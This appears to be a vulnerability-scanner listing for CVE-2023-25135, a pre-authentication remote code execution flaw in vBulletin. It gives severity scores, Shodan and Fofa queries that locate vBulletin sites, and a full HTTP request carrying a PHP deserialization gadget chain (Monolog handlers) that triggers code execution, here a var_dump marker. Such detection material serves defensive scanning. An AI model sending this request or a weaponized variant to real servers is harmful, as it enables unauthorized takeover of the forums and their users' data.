| Title | vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9321 |
| CVE ID | CVE-2023-25135 |
| CWE ID | CWE-502 |
| Shodan Query | http.component:"vBulletin"http.html:"powered by vbulletin"http.component:"vbulletin"http.title:"powered by vbulletin"cpe:"cpe:2.3:a:vbulletin:vbulletin" |
| Fofa Query | body="powered by vbulletin"title="powered by vbulletin" |
| Tags | cve cve2023 vbulletin rce vkev vuln |
vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors.
POST /ajax/api/user/save HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 847
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
adminoptions=&options=&password=38EuXXZ2w0OOtbmPYpKmh2YWohA&securitytoken=38EuXXZ2w0OOtbmPYpKmh2YWohA&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a"googlelogin_vendor_autoload"%3a0%3a{}i%3a1%3bO%3a32%3a"Monolog\Handler\SyslogUdpHandler"%3a1%3a{s%3a9%3a"%00*%00socket"%3bO%3a29%3a"Monolog\Handler\BufferHandler"%3a7%3a{s%3a10%3a"%00*%00handler"%3br%3a4%3bs%3a13%3a"%00*%00bufferSize"%3bi%3a-1%3bs%3a9%3a"%00*%00buffer"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a"CVE-2023-25135"%3bs%3a5%3a"level"%3bN%3b}}s%3a8%3a"%00*%00level"%3bN%3bs%3a14%3a"%00*%00initialized"%3bb%3a1%3bs%3a14%3a"%00*%00bufferLimit"%3bi%3a-1%3bs%3a13%3a"%00*%00processors"%3ba%3a2%3a{i%3a0%3bs%3a7%3a"current"%3bi%3a1%3bs%3a8%3a"var_dump"%3b}}}}&user%5Busername%5D=38EuXXZ2w0OOtbmPYpKmh2YWohA&userfield=&userid=0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-25135.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-25135.pcap
N/AN/A